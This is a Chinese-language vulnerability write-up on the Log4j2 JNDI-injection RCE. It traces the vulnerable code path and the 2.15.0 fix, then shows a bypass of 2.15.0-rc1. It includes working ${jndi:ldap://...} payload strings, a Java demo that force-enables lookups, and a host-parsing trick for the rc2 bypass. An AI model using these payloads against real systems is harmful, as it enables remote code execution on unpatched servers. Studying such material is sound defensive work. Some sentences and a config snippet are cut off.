前言
log4j2 这个漏洞可以说是核武了.... 一经发出大家都在连夜应急(可惜自己在学校体验不到这种感觉,蛮可惜的..)
log4j2 是一个非常流行的日志记录的包,所以当这个包出现了漏洞可想而知... 只要组件中引入了 log4j2-core 那么我们就可以像测试 XSS 那样来进行 RCE 这都是之前不敢想象的
Log4j RCE 梳理
影响版本
log4j <= 2.14.1
利用
在 pom 中添加下方 dependency
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
只要日志中含有以下 payload 那么就会导致触发,该漏洞通过 JNDI 注入的手法来进行利用
漏洞分析
官方文档中可以看到对 JNDI Lookup 做了支持,那么如果 jndi: 后面可控的话就可以造成 JNDI 注入
打上断点进行分析,前面其实都是在 appender 相关 ( Appender 即将日志输出到什么地方,有控制台,文件,数据库,远程服务器等 ) 默认情况是输出到 console 中, 然后就会调用编码器将log信息进行编码输出(默认为 UTF-8)
所以最开始的一些代码就是处理输出位置、编码 log 信息等工作,并不是我们的主要漏洞部分
略过前面的代码,直接来到关键入口:org.apache.logging.log4j.core.pattern#format
在 format 函数中这里的 if 判断首先会判断是否允许使用 lookup 功能,接下来会遍历 workingBuilder 来进行判断
如果 workingBuilder 中存在 ${
,那么就会取出从 $ 开始知道最后的字符串,这一部
workingBuilder 的内容如下,其实结构也比较清晰方法名,日志级别,当前类名,然后就是我们的 payload
所以上图的 value 就是我们输入的 payload ${jndi:ldap://127.0.0.1:1389/Calc}
然后就会来到 substitute 函数
prefixMatcher => $ {
suffixMatcher => }
前半部分的逻辑其实就是通过 while 循环来进行不断匹配从而取出 ${ } 中间的值
在该函数中会对字符串进行遍历,我们的 payload 在这里被存放到了 buf 中,接下来会进入 while 循环
在 while 循环中,会对字符进行逐字匹配 ${ ,
然后进行循环读取,知道读取到 } 并获取其坐标,然后将 ${} 中间的内容取出来,然后又会调用 this.subtitute 来处理
ps:这里再次调用 substitute 是为了处理多个层级的 ${} 问题,这个会在后面进行介绍
再次运行 subtitue 的时候由于我们已没有 ${ } 所以就直接来到下面,将 varName 作为变量传入了 resolveVariable 函数
varName 就是为 ${} 中的值
在 resolveVariable 中主要是来进行变量的处理,首先会调用 getVariableResolver 获取所有的 resolver , 然后在 lookup 方法中寻找对应的
在 lookup 方法中,首先会截取前四位,此时我们取出来的为 jndi 然后根据取出来的名字中寻找对应的 lookup
可以看到 strLookupMap 中放置了很多 Lookup 类,这里根据我们传入的 jndi 取出 JndiLookup
然后调用了 JndiLookup#lookup,在该函数中由于 jndiName 可控造成了 JNDI 注入
接下来就是 JNDI 注入的相关代码了就不跟了
漏洞修复
官方给出了 CVE 编号和补丁,升级到了 2.15.0 之后默认不开启 JNDI Lookup
漏洞修复主要是在 JndiManager#lookup 中增加了代码,因为最终的触发点就是这里
在这里做了很多限制,一个一个来看
在最开始的 this.allowedProtocols 为 {java,ldap,ldaps} 我们的 ldap 在其中,所以会继续
接下来就是 this.allowedHosts 的限制,这个限制的非常死,只允许本地host
接下来对 javaSerializedData 中的 classname 做了处理(个人猜测这里是防止高版本 jndi 注入绕过,javaSerializedData 可被攻击者设置为反序列化 payload 从而攻击本地 classpath 中存在反序列化漏洞的包)
不过这里的 classname 限制是可以绕的
最后针对 java Reference 地址 和 javaFactory 又做了限制....
所以层层防御就导致最终 return null
ps: rc2 的也被bypass了,但是条件蛮苛刻的,具体可以看4ra1n 师傅的文章,127.0.0.1#evil[.]com 类似这样
Log4j rc1 Bypass
GitHub:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1
由于自 2.15.0 起,关闭了 jndi lookup 所以我们需要手动开启,下面是我手动开启的 payload (为了开启这玩意儿卡了好久)
public class Demo {
private static final Logger logg = LogManager.getLogger();
public static void main(String[] args) {
Configuration configuration = new DefaultConfiguration();
MessagePatternConverter messagePatternConverter = MessagePatternConverter.newInstance(configuration,new String[]{"lookups"});
LogEvent logEvent = new MutableLogEvent(new StringBuilder("${jndi:ldap://127.0.0.1:1389/ Calc}"),null);
messagePatternConverter.format(logEvent,new StringBuilder("${jndi:ldap://127.0.0.1:1389/ Calc}"));
}
}
这里简单的说一下思路(感谢 4ra1n 师傅):
首先参考官方文档看到了 下面这段话
For those who cannot upgrade to 2.15.0, in releases >=2.10, this vulnerability can be mitigated by setting either the system property
log4j2.formatMsgNoLookups
or the environment variableLOG4J_FORMAT_MSG_NO_LOOKUPS
totrue
.
所以我直接先全局搜索 nolookup 找到了 MessagePatternConverter 类
然后在 newInstance 中会调用 loadLookups ,在 loadLookups 函数中有一句判断 if (LOOKUPS.equalsIgnoreCase(option))
所以如果 options为 lookups 返回就为 true,然后在下面会根据 lookups 的状态来获取不同的 Converter ,我这边在 return 处打了断点来进行后续的分析
然后结合之前调试 2.14.1 的流程,可以知道后面会调用获取到的 converter 的 format 方法
所有我们只需要传入 event 和 buffer 就行了,buffer 就是我们的 payload ,event 根据构造函数创建就可以了
那么开始正文,在 rc1 的修复中 catch 并没有做任何处理,那么只要我们 URI 过程中导致抛错进入 catch 那么久仍然可以造成 jndi 注入
这样的话绕过的情况就蛮多了
${jndi:ldap://127.0.0.1:1389/\$Calc}
${jndi:ldap://127.0.0.1:1389/ Calc}
${jndi:ldap://127.0.0.1:1389/\u0000Calc}
...
手动开启的lookup 在 resources 中添加 log4j2.xml 文件
内容如下:
就可以开启了